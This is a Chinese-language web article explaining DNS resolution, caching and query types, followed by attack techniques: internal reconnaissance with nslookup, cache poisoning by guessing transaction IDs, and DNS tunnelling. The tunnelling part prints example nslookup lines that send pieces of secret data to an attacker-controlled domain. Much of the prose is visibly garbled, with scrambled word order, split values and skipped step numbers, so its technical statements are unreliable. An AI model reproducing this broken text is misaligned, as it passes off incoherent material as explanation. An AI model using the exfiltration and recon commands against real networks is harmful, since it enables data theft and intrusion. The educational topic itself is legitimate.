DNS系统原理及漏洞利用分析
来源:Tom 时间:2022-08-03 09:08:29阅读:0
基于IP协议中,两台计算机之间实现通信的前提之一是它们分别有一个IP地址。因为我们大多数人都善于记住www.taobao.com而不是像104这样的字串.196.44.101一般不规律IP因此,需要一个程序来翻译名字字串IP地址。
域名和存储在互联网上IP地址间映射关系的分布式数据库可以将名称转换为数字和数字DNS(DomainNameSystem,域名系统),运行DNS系统的主机是DNS假如没有DNS,任何互联网访问都需要记住12个数字服务器IP地址。
一、DNS工作原理
了解是互联网访问中不可缺少的技术DNS操作机制非常重要。
DNS中的域名-IP映射条被称为DNS记录。需要在互联网上实现通信的计算机数量太多,所有这些计算机都将实现DNS所有记录都记录在单台的记录集中DNS存储服务器是不现实的。所以,在DNS在系统设计中,全球DNS分为多个小记录集,称为域(Domain)。一个域所包含的记录数量可能仍然很大,因此,域也可以分为较小的子集-区(Zone)。
因此,互联网上所有的域名-IP有许多映射条目DNS服务器共同存储。根据域名查询任何内容IP或根据IP查询域名的计算机算机DNS而且,服务器发起查询DNS服务器也知道如何在多使用DNS发起服务器之间的查询DNS其他服务器查询DNS服务器时,我们称之为上游查询。域查询可以不断向上执行,直到域名服务器被授权。
权限域名服务器是管理员管辖的服务器名和IP管理地址的地方DNS管理员想要服务器名或IP增删改查地址时,会在权限域名服务器(也称为主DNS操作服务器)。此外,还有从DNS用于保存区或区域的服务器DNS记录副本。
1.四个加载页面DNS服务器
域名分析服务器(Resolvingnameserver):自己有被查询的IP-域名条目或另一个DNS请求服务器IP-域名条目,并响应此次查询的服务器。
域名服务器(Rootnameserver):根区域域名服务器。它直接响应查询请求,并返回相应的顶级域权限域名服务器列表。
顶级域名服务器(TLDnameServer):顶级域名服务器(TLD)是互联网上的高级DNS服务器之一www.qq.com时,“.com”TLD服务器将首先响应,并在其条目中搜索qq”字串。
域名服务器的权限(Authoritativenameserver):域名服务器的权限是DNS在查询过程中的最后一站,它存储了某个区域的域名条目记录。
2.DNS服务的类型
根据其处理DNS查询的技术机制不同,DNS服务分为两类:
递归DNS服务:递归DNS服务响应DNS查询并发起域名条目查询权限域名服务,或缓存DNS条目中实施查询。
权限DNS服务:权限DNS存储自己的服务DNS条目。所以,向权限DNS服务查询其存储的一个IP-域名条目不需要查询其他服务器。
3.公共DNS&私有DNS
它需要公共服务器才能被公众访问DNS记录它IP地址可以在互联网上访问,即防火墙等访问控制技术不会阻止。任何可以连接到公众的东西DNS服务器的人可以在没有身份验证的情况下访问公众DNS服务器。
但并非全部DNS记录是公开的。为了方便员工访问企业内网的服务器,很多企业都有自己的私有DNS。私有DNS用于存储企业内部文件服务器、电子邮件服务器、域控制器、数据库服务器、应用程序服务器等的域名和域名IP。
需要注意的是,私有DNS公共服务器DNS就像服务器一样,它的访问不需要身份验证。这主要是因为在DNS在技术创造之初,安全并不是一个需要考虑的技术问题。因此,在大多数情况下,企业内部网络中的任何用户都可以在没有身份认证的情况下查询内部DNS存储在服务器中的信息。
二、查询DNS的七个步骤
(1)当用户试图访问时互联网例如,在浏览器地址栏中输入计算机www.kd010.com将启动一次DNS查询。
(2)DNS第一站是本地DNS缓存。这些域名对应于用户访问网络上不同的域名IP如果用户以前访问过,地址将存储在本地缓存中www.kd010.com,该网站将存在于缓存中IP地址。
若本地DNS缓存中没有域名IP,DNS就会用递归DNS检查服务器。在互联网上,ISP服务提供商通常建造和运维递归DNS服务器。
(4)递归DNS如果有用户查询,服务器本身就有缓存IP地址将直接返回给用户。如果没有,它将是其他的DNS服务器发起查询。
(5)下一站是TLD当用户查询域名时,域名服务器www.kd010.com时,存储.cn地址的TLD域名服务器将响应查询请求。服务器不存储我们需要的IP查询请求可以转发给正确的权限域名服务器。
(6)使用权限域名服务器www.kd010.com的IP地址响应此查询,递回DNS将服务器存储在本地DNS将地址返回给用户的计算机进行缓存。
(7)用户计算机的本地DNS服务获取www.kd010.com的IP地址和访问。然后,在本地缓存中记录域名IP同时记录其生存时间的地址(TTL),即本地DNS如果用户下次访问域名时间超过记录的有效时间TTL下次访问时间www.kd010.com时,DNS上述过程将再次执行。
三、DNS查询的分类
DNS查询需要给DNS服务器传输的信息包括:
目前查询的类型是什么?
返回什么信息?
标准的DNS查询有三种类型:
递归查询:在递归查询中,计算机请求DNS返回一个服务器IP地址,或确认DNS服务器不知道IP。
迭代查询:在迭代查询中,查询者向DNS如果服务器要求返回最佳答案DNS在服务器中找不到查询IP,它将返回权限域名服务器或TLD域名服务器。在被查询之前,查询者将继续迭代此过程IP或超时。
非递归查询:DNS分析服务器使用此类查询来发现自己的缓存中没有存储IP。
四、DNS缓存
假如每次都有用户试图访问www.kd010.com,域名的查询请求必须向权限域名服务器发起,这将产生大量的网络流量!因此,为了防止计算机每次访问域名时都向前移动DNS服务器发起IP查询请求,一个自己的域名通常存储在计算机上-IP这个映射库被称为映射库DNS缓存”。
加快DNS请求响应速度
减少DNS请求在互联网上占用带宽
但是,DNS缓存方法也存在一些问题,包括:
DNS传播信息的变化需要一定的时间——这意味着一切DNS服务器将其缓存更新为最新IP在数据之前,通常需要一段时间
攻击者可以使用DNS缓存攻击
DNS缓存有以下不同类型:
浏览器DNS缓存:目前大部分浏览器都是内置的DNS本地缓存实现缓存功能DNS分析通常快速高效。
操作系统(OS)DNS缓存:目前,大多数用户都有计算机操作系统DNS客户端,可用于管理DNS分析和要求DNS缓存也是本地化的,所以速度快,不需要占用带宽。
递归解析DNS缓存:每个DNS都有递归服务器DNS用于存储的缓存可以要求下一步IP。
五、DNS常见漏洞
用户内部DNS服务器将存储用户网络域中所有服务器的内部域名和域名IP,并能够在无需身份认证的情况下实施访问。这使得DNS成为内网探测阶段攻击者的重要信息来源。
DNS缓存信息不一定与权限域名服务器一致,攻击者可能会篡改DNS如果用户内网缓存DNS如果服务器被攻击篡改,则使用该服务器DNS发起域名访问的计算机计算机会被错误的服务器所诱惑。
DNS服务器可以将内网域名查询从内网工作站递归到外网服务器,攻击者可以利用此行为在内网和外网之间创建隐藏通道,泄露内网数据。
1.利用DNS实施探测
一旦攻击者穿透防火墙进入用户内网并控制计算机,就可以使用内网DNS服务器搜索各种有价值的信息,如邮件服务器、域名服务器等重要服务器信息。如果攻击者有足够的技术能力,甚至可能使用内部信息DNS服务器批量发送用户网络中区的信息,称为DNS区传输攻击。
以下是给出的Windows在操作系统环境中实现攻击的过程:
打开命令提示符(ctrl esc➡️输入字母“cmd”➡️回车)
输入“ipconfig当前计算机所在的域名,IP地址和许多其他信息(将在后续命令中使用)
键入“nslookup[IP]将看到正在响应请求的人DNS如果名称已知,服务器名称将显示列出的名称和IP地址的DNS记录
键入“nslookup-type=soa执行此命令将返回当前计算机的权限DNS如果你试图渗透网络,服务器就不会很方便。
键入“nslookup-type=MX通过执行此命令,攻击者可以准确地了解网络邮件服务器IP信息。
2.利用DNS重定向实施流量
当用户试图浏览一个网站时,他们的计算机会就在那里DNS在服务器中查询网站IP。如果DNS该记录的缓存存存储在服务器中,将直接返回IP。如果没有,它会查询上游DNS服务器将结果中继给最终用户,并缓存信息供下次使用。
在目前已知的攻击中,攻击者的攻击DNS响应信息使它看起来合法DNS服务器。攻击者可以利用这一目标DNS三个弱点:
DNS对上游服务器的响应只有很弱的认证。响应信息只包含正确的事务ID(一个16位二进制数字(0-65536))。事实证明,要猜出正确的事务ID,技术难度不大。
DNS服务器同时接受多个查询请求,因此攻击者可以同时处理事务ID多次猜测(类似于暴力破解密码)。
DNS使用的IP很容易伪造连接。这意味着攻击者可以从计算机转向DNS服务器发送流量,使其看起来像另一台计算机,比如另一台真实有效DNS服务器。容易伪造IP连接类型不多,不幸的是,DNS恰好是其中之一。
一旦攻击者成功伪造DNS如果响应信息,可以篡改接收端DNS服务器缓存。以下是一个典型的场景来解释攻击的严重后果:
假设攻击者知道用户单位使用外部应用程序来处理资金和其他重要事务。如果攻击者篡改了用户单位DNS服务器的相关记录可以将用户引诱到攻击者伪造的服务器,并引诱用户在攻击者伪造的登录页面上输入其帐户和密码信息。
更耐心的攻击者也可能将真实流量转发给真实的服务器(作为中间人),因此用户不会发现攻击正在发生。攻击者在获取用户身份信息后,可以尝试在其他相关系统中使用或直接出售。
3.利用DNS构建隐通道
假设攻击者试图进入用户单位网络,控制内部网络计算机,并找到了他想要窃取的关键数据。如何在没有任何痕迹的情况下将数据传输到网外?攻击者可能会使用一被称为DNS实现隧道技术。一般做法如下:
(1)攻击者在互联网上设置一个DNS域(如kd010.com),并创建权限域名服务器
(2)在被攻击者控制的主机上,攻击者可以将数据分解为小段并插入一系列DNS如下所示:
nslookupMy1secret1.kd010.com
nslookupis1that1I1know.kd010.com
nsllookupyour1data.kd010.com
(3)用户单位DNS服务器将接收并转发这些请求kd010.com的权限域名服务器。攻击者在其权限域名服务器接收到上述流量后,则可以运行程序以提取查询信息的第一部分(.kd010.com以前的内容)并重新组合,使用户网络中的数据无痕迹地传输到网外(此例传输的数据为MysecretisthatIknowyourdata.)。用户单位可能永远不会意识到他们DNS用于泄露自身数据的服务器。
六、小结
DNS技术已经存在了很长一段时间,互联网上的每台计算机都依赖它。然而,使用DNS内网检测,劫持流量,创建隐藏信道窃取数据DNS安全问题可能由服务引起。幸运的是,通过监控DNS目前,有大量的技术可以检测和阻止这些攻击,并应用安全数据分析。
声明:本网站发布的内容(图片、视频和文字)以用户投稿、用户转载内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:shawn.lee@vecloud.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。
本站原创内容未经允许不得转载,或转载时需注明出处:https://news.kd010.com/fwqjs/12281.html
TAG标签: